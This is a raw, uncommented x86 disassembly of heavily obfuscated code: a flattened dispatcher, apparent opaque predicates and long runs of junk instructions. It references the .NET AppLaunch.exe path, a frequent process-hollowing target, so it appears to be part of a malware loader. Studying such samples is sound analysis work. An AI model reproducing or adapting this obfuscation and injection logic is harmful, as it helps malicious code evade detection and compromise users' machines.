mov edx, ecx
xor ecx, 0x3501d463
xor edx, 0xcafe2b9c
or eax, esi
mov edi, ecx
or edi, 0x20c904cc
mov ebx, edx
and ebx, 0x1700a820
or edx, 1
and ecx, 0x99fc4160
and edi, 0x20cd54de
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xefa95e98
and esi, 0x1056a167
or eax, esi
mov esi, eax
xor esi, 0x98ac0021
xor eax, 0x7525954
mov edi, eax
or eax, edx
and edx, 0x6603be9e
and edi, 0x6603be9e
and esi, 0x99fc4161
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x414dde51
and eax, 0xbeb221ae
mov edi, edx
not edi
and edx, 0x4ec99a75
or ecx, eax
mov eax, ecx
xor eax, 0x40499a51
xor ecx, 0xbeb221ae
mov esi, ecx
or ecx, edi
and edi, 0xb136658a
and esi, 0xb136658a
and eax, 0x4ec99a75
or eax, esi
or edx, edi
not ecx
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5fbb07a2
and eax, 0xa044f85d
or ecx, eax
mov eax, ecx
xor eax, 0x8120620
xor ecx, 0x20442841
and ecx, 0x77ed29c3
and eax, 0x8812d63c
or eax, ecx
mov ecx, eax
xor ecx, 0x46052100
xor eax, 0x128438
and eax, 0x31fa8cfb
and ecx, 0xce057304
or ecx, eax
xor ecx, 0xce057304
sete cl
setne ch
cmp dword [0x4e4170], 0xa
setl al
setge ah
mov edx, eax
and al, ch
and ch, ah
and dl, cl
and cl, ah
or dl, ch
or al, cl
xor dl, 1
mov ecx, eax
or dl, ah
xor cl, 1
mov ch, dl
and al, dl
not ch
and ch, cl
or cl, dl
mov edx, 0xf5a6f0cd
or ch, al
mov eax, ecx
xor al, ch
test al, 1
mov eax, 0xeaaa25a1
cmovne edx, eax
test cl, cl
mov eax, 0xf5a6f0cd
cmovne eax, edx
test ch, ch
cmove eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 7
mov eax, 0x64f31f6a
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, edx
xor ecx, 0xad4b67d3
mov eax, edx
and eax, 0xc414281
and ecx, edx
not edx
and edx, 0xa10a2552
mov esi, ecx
not esi
and ecx, 0x2a1e6db7
or eax, edx
mov edx, eax
xor edx, 0x8004081
xor eax, 0xf3bebd7e
mov edi, eax
or eax, esi
and esi, 0xd5e19248
and edi, 0xd5e19248
and edx, 0x280a6593
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xad4b67d3
and ecx, 0x52b4982c
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x1c99b786
not edx
and eax, 0xf8e0fe90
mov esi, edx
and esi, 0xa3664879
and ecx, 0x5c99b786
or ecx, esi
mov esi, edx
and esi, 0x71f016f
and edx, 0x40000000
or esi, eax
mov eax, esi
xor eax, 0x8202200
xor esi, 0x7000047
or edx, eax
and esi, 0xb7c0dcd7
mov eax, ecx
not eax
and ecx, 0xf3a3b2aa
and edx, 0x483f2328
mov edi, eax
and edi, 0xc5c4d55
or edx, esi
or ecx, edi
mov esi, edx
xor esi, 0x40232228
xor edx, 0xb7c0dcd7
or eax, edx
and edx, 0xc5c4d55
and esi, 0xf3a3b2aa
or esi, edx
not eax
xor esi, ecx
or eax, esi
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x4034ad46
mov esi, ecx
not esi
and edx, 0xbfcb52b9
and ecx, 0xbfcb52b9
or eax, esi
and esi, 0x4034ad46
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x15bea56b
mov edx, ecx
and edx, 0xea415a94
or eax, edx
xor eax, 0x15bea56b
or eax, ecx
not eax
mov dword [ebp - 0x1c0], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x2158214e
mov esi, ecx
xor esi, 0x215f234e
mov edx, eax
and edx, 0x70200
and esi, ecx
and eax, 0x8cb9ab5c
or edi, edx
xor edi, 0x2158214e
or esi, edi
mov edx, esi
not edx
and esi, 0x5a07f531
and edx, 0xa5f80ace
or esi, edx
mov edx, esi
xor edx, 0x3140c26e
xor esi, 0x84a60081
and esi, 0xcebe1491
and edx, 0x3141eb6e
or edx, esi
mov esi, edx
xor esi, 0x1ab4c
xor edx, 0xcebe1491
mov edi, edx
or edx, ecx
and ecx, 0x734654a3
and edi, 0x734654a3
and esi, 0x8cb9ab5c
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x29ded433
or edx, eax
xor edx, 0xffffffff
setne cl
sete dl
cmp dword [0x4e4170], 0xa
mov ah, cl
setl ch
setge al
or cl, ch
and ah, al
and ch, dl
or ch, ah
mov ah, ch
xor ah, al
or al, dl
mov edx, ecx
xor dl, al
or al, cl
and ah, ch
xor al, 1
mov cl, ah
or al, dl
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x51e21687
cmovne edx, esi
test al, 1
mov eax, 0x51e21687
jmp 0x40afb8
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, 0xe29cb0cf
jmp 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0xbf97b83
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x2e03bda2
not esi
mov edx, esi
and ecx, eax
and edx, 0x2e03bda2
and esi, 0x80a82987
and eax, 0x7f57d678
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xece84510
and edx, 0x1317baef
or ecx, edx
mov edx, ecx
xor edx, 0xc029b812
xor ecx, 0x3d14074c
mov esi, ecx
and esi, 0x12c245a1
and edx, 0xed3dba5e
or edx, esi
mov esi, eax
xor esi, 0x6d159258
xor eax, 0x800181
and eax, 0x12c245a1
and esi, 0xed3dba5e
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0xf781327f
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setge cl
setl al
xor cl, ah
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov ah, al
xor al, dl
or ah, dl
xor ah, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
cmove eax, esi
jmp 0x401710
mov eax, 0xff3f9745
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xc
mov eax, 0xc30053f3
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x50241401
and ecx, 0x24daaa52
mov edx, eax
or edx, 0x890140ac
and esi, 0xd92554ad
and eax, 0x2000100
and edx, 0xd92554ad
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xe14d88ff
and eax, 0x1eb27700
or ecx, eax
mov eax, ecx
xor ecx, 0x95b336ac
xor eax, 0x6a4cc953
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x210cc010
and eax, 0x80812bc8
mov edx, ecx
or edx, 0x18021025
and esi, 0x390ed035
and ecx, 0x46700402
and edx, 0x390ed035
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x5e721427
and ecx, 0xa18debd8
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9e03019
and ecx, 0xf61fcfe6
or eax, ecx
mov ecx, eax
xor ecx, 0x1000
xor eax, 0x1646a2
and eax, 0x9f666bb
and ecx, 0xf6099944
or ecx, eax
xor ecx, 0xf6099944
sete ah
setne dh
cmp dword [0x4e4170], 0xa
setge al
setl dl
mov ebx, eax
mov ch, al
xor dl, dh
inc bl
mov cl, dl
xor ch, ah
and ch, al
xor cl, 1
and bl, dh
and al, ah
or al, bl
mov ebx, ecx
xor ch, 1
and bl, dl
xor al, 1
mov ah, ch
xor bl, 1
xor ah, al
or al, ch
or bl, dl
xor al, 1
mov edx, ecx
or al, ah
xor bl, 1
xor al, 1
or bl, cl
xor bl, al
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, 0x838dcb85
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x4908e071
cmovne ecx, edx
test al, 1
mov edx, 0x4908e071
cmovne edx, ecx
test bl, 1
jmp 0x40c6f0
mov eax, dword [ebp - 0x10c]
vmovups ymm1, ymmword [0x42f1a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x42f1c0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
add eax, 0xfffffff8
mov dword [ecx], eax
bswap edi
imul eax
not eax
sub eax, 0xc3
bswap esi
bswap esi
sbb eax, 0xba
imul edi
bswap edi
rcr ebx, 0xe1
neg esi
add edi, 0xc9
neg ebx
and edx, 0x2c
not ebx
sbb edi, 0x64
dec edi
rcl eax, 0x5d
neg edi
sub eax, 0x2c
or edi, 0x4b
or edi, 0xa
and esi, 0xc0
not esi
neg edi
bswap edi
dec ebx
or edi, 0xf6
dec edx
add ebx, 0xf
neg edi
imul edi
not edx
mov esi, 0x7e
inc esi
sbb edx, 0xab
dec esi
not edi
not edi
rcl ebx, 0x89
add eax, 0x49
bswap esi
rol edx, 0xf6
rcr edx, 0xb1
imul edi
ror eax, 0xd9
sub edx, 0x7b
rcr eax, 0x7c
and eax, 0xc3
sbb esi, 0xb7
dec edi
not edx
imul esi
bswap eax
imul edx
mov ebx, 0xcf
rol esi, 0x9d
sub esi, 0x24
rcr ebx, 0xd0
imul edi
or edi, 0x1d
or edi, 0x61
rol edi, 0xa5
and edx, 0x80
and edi, 0xa8
not ebx
sbb edi, 0x92
sbb edi, 0xd3
dec edx
neg edi
and edi, 0x5c
bswap edx
sub ebx, 0x36
inc esi
mov ebx, 0x39
or esi, 0x23
rcl edx, 0x71
bswap edi
bswap edi
bswap edi
sub edx, 0x9b
rcr eax, 0x34
dec edx
add eax, 0xe6
imul edx
imul ebx
and ebx, 0x75
inc eax
not ebx
ror edi, 0x45
ror edi, 0x48
bswap edi
neg ebx
dec edx
not esi
and eax, 0x22
mov eax, 0
rcl esi, 0x51
ror ebx, 0xcd
ror eax, 0xac
rcl edx, 0x31
ror edx, 0x67
not esi
rcr edi, 0x9b
and eax, 0x53
rcr esi, 5
rol edx, 1
dec edi
ror edx, 0xe9
rcr esi, 0xd3
mov ebx, 9
neg eax
bswap edx
dec edx
add eax, 0x37
ror esi, 0xc8
rol esi, 0x79
neg edx
mov edi, 0x5e
rol edi, 0x46
bswap edx
imul eax
sub eax, 0xac
rcr ebx, 0x82
inc eax
not ebx
sub eax, 0xb
not edx
sbb edx, 0x83
mov edi, 0x16
and eax, 0x78
mov edi, 0x33
bswap ebx
not edi
rcl ebx, 0x2c
not esi
and esi, 0x84
sbb edx, 0xd6
neg ebx
neg edx
mov edx, 0x41
bswap ebx
not edx
and ebx, 0x2e
and edx, 0xa3
dec ebx
inc esi
sub edi, 0x7c
sbb esi, 0x48
not ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
add eax, 0x24
mov dword [ecx], eax
sub edx, 0xc7
ror eax, 0x35
bswap ebx
not edi
rcr edi, 0xf6
rcr esi, 0xb8
rol esi, 0x9d
mov esi, 6
bswap ebx
rol esi, 0xa9
rcl ebx, 0xfc
sub edi, 0x2f
ror esi, 0x88
sbb eax, 5
dec edx
mov edx, 0xa5
rol edx, 0x34
rol eax, 0x1e
not ebx
and edi, 0xb7
dec esi
add esi, 0xa6
ror ebx, 0xa3
rcl edi, 0x69
dec eax
not eax
not edx
or eax, 0x66
imul eax
rcr ebx, 0xb4
bswap edx
sbb ebx, 0x21
sub edi, 0xd8
neg ebx
inc edi
sbb eax, 0x15
sub edi, 0
and ebx, 0xce
not ebx
rcr esi, 0xe4
dec edi
inc esi
or ebx, 0x6e
mov eax, 0x52
neg edi
not esi
add edx, 0x70
inc edi
rcr eax, 0x3a
dec esi
dec edi
and edi, 0x1d
dec eax
imul edx
not edx
and eax, 0x58
sub esi, 0xa9
not edx
neg edx
sbb ebx, 0x90
rcr esi, 0xc4
or eax, 0xb1
neg esi
inc eax
mov eax, 0xdb
bswap esi
bswap edx
inc edx
neg edx
mov eax, 0x81
not edx
dec edx
or eax, 0xa0
neg eax
ror edx, 0x8a
ror esi, 0x18
add eax, 0x12
ror ebx, 0x5f
sbb edx, 0xdb
rol esi, 0x24
not edi
rcl edx, 0xed
ror esi, 0x22
sbb edx, 0x16
neg ebx
imul edi
sub edi, 0x56
inc esi
and esi, 0xd1
imul esi
rcl edx, 0x64
dec esi
rcl edx, 8
rcl esi, 0xb4
imul ebx
not esi
or edi, 0xfa
inc ebx
imul edx
sbb ebx, 0xe0
inc edi
not eax
ror edi, 0xa4
not ebx
imul ebx
or edi, 0xd0
inc esi
dec edi
or edi, 0x43
add esi, 0xef
dec edx
imul edx
neg eax
rol eax, 0xc7
neg edi
sbb esi, 0x3c
dec edi
rol eax, 0xce
mov eax, 0x3e
or edi, 0x64
imul ebx
imul edx
imul eax
sbb eax, 0x77
not eax
bswap eax
imul edi
and ebx, 0xaf
inc edi
dec eax
imul eax
rcl esi, 0x44
mov esi, 0x59
dec ebx
sub edx, 0xdf
imul eax
inc eax
bswap esi
and edx, 0x30
add edx, 0x64
or eax, 0x46
not edx
or esi, 0xf8
imul ebx
sub ebx, 0xad
or ebx, 0xe1
not ebx
rcr ebx, 0xa0
not eax
bswap eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x42f1d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x74]
setne byte [eax]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x74]
mov ecx, dword [0x4e4174]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x9b]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc409e740
and ecx, 0x3bf618bf
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xbf00081
xor edx, 0xc409e740
xor eax, 0xc409e741
and eax, edx
and ecx, 0xcff96481
and edx, 0x30069b7e
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x1bd5b58
mov esi, ecx
and esi, 0xfe42a4a7
or eax, esi
mov esi, edx
xor esi, 0x41b58
xor edx, 0xcff96480
or ecx, edx
and edx, 0xfe42a4a7
and esi, 0x1bd5b58
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x1df0f5d6
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x61a736b7
and eax, 0x9e58c948
or eax, edx
xor eax, 0x9e58c948
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x4e4170], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
or cl, al
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
mov ecx, 0x6fbe2540
cmovne ecx, esi
test al, al
mov eax, 0x6fbe2540
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xaa9fb582
not eax
mov edx, eax
and esi, ecx
and edx, 0xaa9fb582
and ecx, 0xb6be7a2
and eax, 0xf494185d
or edx, esi
not esi
or eax, ecx
and esi, 0x55604a7c
and edx, 0xaa9fb583
or edx, esi
mov esi, edx
not esi
and edx, 0xf494185d
mov edi, esi
and edi, 0xb6be7a2
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xfb9aa531
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor cl, 1
xor al, dl
xor ah, 1
or ah, cl
xor ah, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x21fb0708
cmovne edx, esi
test al, 1
mov eax, 0x21fb0708
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401710
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
mov eax, 0x59aa2ae
jmp 0x401710
mov eax, dword [ebp - 0xa4]
mov eax, 0x4908e071
jmp 0x401710
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x40000000
and edx, 0xbfffffff
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
mov eax, 0x6d941a48
or ecx, esi
xor edx, ecx
test edx, ecx
setne byte [ebp - 0x99]
jmp 0x401710
mov eax, 0xe09d1782
jmp 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
xor esi, 0x61d5ed49
mov eax, edx
not eax
andn esi, edx, esi
mov ecx, eax
or ecx, 0x61d5ed49
and edx, 0x9c0212a6
and eax, 0xfffffffe
mov ebx, esi
not ebx
mov edi, ecx
and edi, 0x3accd59
and esi, 0xfc5332a6
or ecx, ebx
and ebx, 0x3accd59
or edx, edi
or esi, ebx
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xd7619607
mov edx, ecx
not edx
and ecx, 0xb6947212
and edx, 0x496b8ded
or ecx, edx
xor ecx, 0x28be60a5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xba26a41c
and ecx, 0x45d95be3
or eax, ecx
xor eax, 0xba26a41c
setne cl
sete dl
cmp dword [0x4e4170], 0xa
mov ch, cl
setl ah
setge al
and cl, ah
and ch, al
and ah, dl
or ah, ch
mov ch, ah
xor ch, al
and al, dl
or al, cl
and ch, ah
mov cl, al
or al, ch
xor cl, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x45353ead
cmovne eax, esi
test cl, cl
mov ecx, 0x45353ead
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
cmp ecx, dword [eax]
mov eax, 0x8164f95a
mov ecx, 0x1f311821
cmovb eax, ecx
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0xcc054851
mov esi, ecx
xor esi, 0xcdfdc871
mov edx, eax
and edx, 0x1f88020
and esi, ecx
and eax, 0xac7299bd
or edi, edx
xor edi, 0xcc054851
or esi, edi
mov edx, esi
not edx
and esi, 0x9a1d7252
and edx, 0x65e28dad
or esi, edx
mov edx, esi
xor esi, 0xa812019d
xor edx, 0x57e0ba22
mov edi, edx
or edx, ecx
and ecx, 0x538d6642
and edi, 0x538d6642
and esi, 0xac7299bd
or esi, edi
or eax, ecx
not edx
mov edi, 0x6c9707d2
xor eax, esi
mov esi, 0x6c9707d2
or edx, eax
mov eax, edx
not eax
and edx, 0x345b172e
and eax, 0xcba4e8d1
or edx, eax
xor edx, 0x345b172e
sete dl
setne ch
cmp dword [0x4e4170], 0xa
setl al
setge ah
mov cl, al
and al, ch
and ch, ah
and cl, dl
and dl, ah
or cl, ch
or al, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ch, cl
and al, cl
or cl, dl
not ch
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xcafc1a96
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmovne eax, esi
jmp 0x401710
mov eax, 0x1b16f566
jmp 0x401710
mov dword [ebp - 0xdc], 0
mov eax, 0xa75da387
jmp 0x401710
movzx eax, word [ebp - 0xbe]
mov eax, dword [ebp - 0xf0]
mov eax, 0x2092d4c8
jmp 0x401710
mov eax, 0xd27adfa1
jmp 0x401710
mov eax, 0xf1acc219
jmp 0x401710
cmp byte [ebp - 0x93], 0
mov eax, 0xef7e5e02
mov ecx, 0xd6bc764a
cmovne eax, ecx
jmp 0x401710
mov edx, dword [ebp - 0x160]
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xbdf28ce7
and edx, 0x420d7318
or eax, edx
mov edx, eax
xor edx, 0xa51004a2
xor eax, 0x420d7318
mov esi, eax
and esi, 0x5ae69b45
and edx, 0xa51964ba
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa51964ba
or eax, esi
and esi, 0x5ae69b45
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 3
mov edx, eax
not edx
and ecx, eax
and edx, 0x6736a28b
and eax, 0x98c95d74
or eax, edx
xor eax, 0x98c95d77
or eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov esi, eax
and esi, 0x764da7d1
mov edi, ecx
not edi
and edx, 0x89b2582e
and ecx, 0x89b2582e
or eax, edi
and edi, 0x764da7d1
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x35b4165a
mov edx, ecx
and edx, 0xca4be9a5
or eax, edx
mov edx, 0xa595016f
xor eax, 0xca4be9a5
xor ecx, eax
test ecx, eax
mov eax, 0xa3a90c0b
cmove eax, edx
jmp 0x401710
cmp byte [ebp - 0x8f], 0
mov eax, 0xe0d34a9a
mov ecx, 0x635055ad
cmovne eax, ecx
jmp 0x401710
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0x1205efd0
setl byte [ebp - 0x98]
jmp 0x401710
mov eax, dword [ebp - 0x15c]
sar eax, 0xc
mov dword [ebp - 0x160], eax
mov eax, 0xb2371c77
jmp 0x401710
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
rol esi, 0x79
not eax
and edi, 0x73
neg ebx
imul edi
dec eax
rol ebx, 0xfe
mov esi, 0x36
bswap ebx
rol eax, 0xfe
ror edx, 0x25
neg esi
neg esi
imul edx
bswap edx
dec esi
bswap eax
imul edx
inc ebx
rol eax, 0xb3
mov ebx, 0xee
neg ebx
rcr esi, 0xd8
dec eax
rcr edx, 0xc2
imul edx
sbb edx, 0x41
ror edx, 0x9e
imul eax
imul edx
not eax
add ebx, 0xa1
sbb esi, 0xd9
sbb edx, 0x16
dec edx
and edx, 0xe2
and edi, 0x3a
imul eax
rol eax, 0x8c
sub edx, 0xf4
rcr ebx, 0xe0
sbb edx, 0xb0
add esi, 0x1a
dec eax
rcl ebx, 0x2c
and ebx, 0xde
inc ebx
ror edx, 0xe9
sbb ebx, 0xe7
rol edx, 0xfd
dec ebx
mov edx, 0x90
not esi
inc eax
mov edi, 0x8b
neg eax
neg edx
dec eax
and esi, 0xdb
rol eax, 0x78
sbb esi, 0xb3
sub eax, 0xad
inc ebx
neg eax
not eax
rcr edi, 0x60
sub esi, 0x63
inc esi
sbb esi, 0x96
inc eax
and edx, 0x12
ror edx, 0x77
bswap ebx
ror esi, 0x88
imul edx
bswap eax
and esi, 0x27
rcr esi, 0x9e
rcl edi, 0xa0
and ebx, 0x7c
imul eax
add esi, 0xfc
sub edx, 0x81
add edi, 0x18
mov eax, 0x9c
imul eax
imul esi
bswap edx
add edi, 0x46
neg ebx
rcl edi, 6
dec edx
neg edx
and edx, 0xf1
neg eax
ror esi, 0x5a
neg edx
or edi, 0xbe
sbb esi, 0x10
ror edx, 0xe5
neg edi
sbb esi, 0xa2
and eax, 0xe8
mov edx, 0xf1
bswap ebx
not esi
rcl eax, 0xb8
inc edi
and eax, 0xfe
bswap eax
ror eax, 0xe4
dec edi
imul edx
inc eax
rcr edi, 0x88
or ebx, 0x14
and edx, 0x39
add esi, 0x14
rcr edi, 0xb3
not edi
mov eax, 0x58
imul ebx
imul eax
sbb edx, 0xfc
rol edx, 0x9d
rcl edi, 0x68
rcr eax, 0x7c
rol edi, 0x4b
add ebx, 0xba
ror edi, 0xf6
mov ebx, 0x50
sub esi, 0x2e
bswap edx
ror edi, 0x26
or ebx, 0x97
imul edi
rcr esi, 0xab
neg ebx
imul edx
imul esi
bswap esi
sub edi, 0x45
sub edx, 0xca
and ebx, 0xb8
neg edx
rol edx, 0x7e
dec edi
not edx
bswap edx
rol edi, 0xc
inc edi
rcl edi, 0xd7
rol edi, 0xc2
and ebx, 0xfe
imul eax
rol ebx, 0xb1
inc esi
bswap eax
rcr ebx, 0x9f
dec esi
neg ebx
neg edx
imul edx
ror eax, 0x9d
inc edi
inc edi
imul esi
dec edx
mov edx, 0xa
not eax
inc esi
mov eax, 0xc6
mov esi, 0x5f
rcr eax, 0xa4
inc esi
not esi
mov edi, 0x1e
rol eax, 0x83
neg ebx
dec edx
imul esi
dec ebx
sub esi, 0x27
bswap esi
and eax, 9
bswap esi
neg esi
neg esi
ror edx, 0xdb
add edi, 0xf9
rol edi, 0x86
add ebx, 0xd5
not edx
sub edi, 0xb8
inc eax
inc esi
bswap ebx
imul eax
not eax
rcl edx, 0x32
dec eax
neg edi
and ebx, 0xb1
inc edx
sub ebx, 0xf1
mov eax, 0xe4
bswap eax
rol esi, 0xf1
rcr ebx, 0x52
imul edx
imul ebx
dec eax
dec ebx
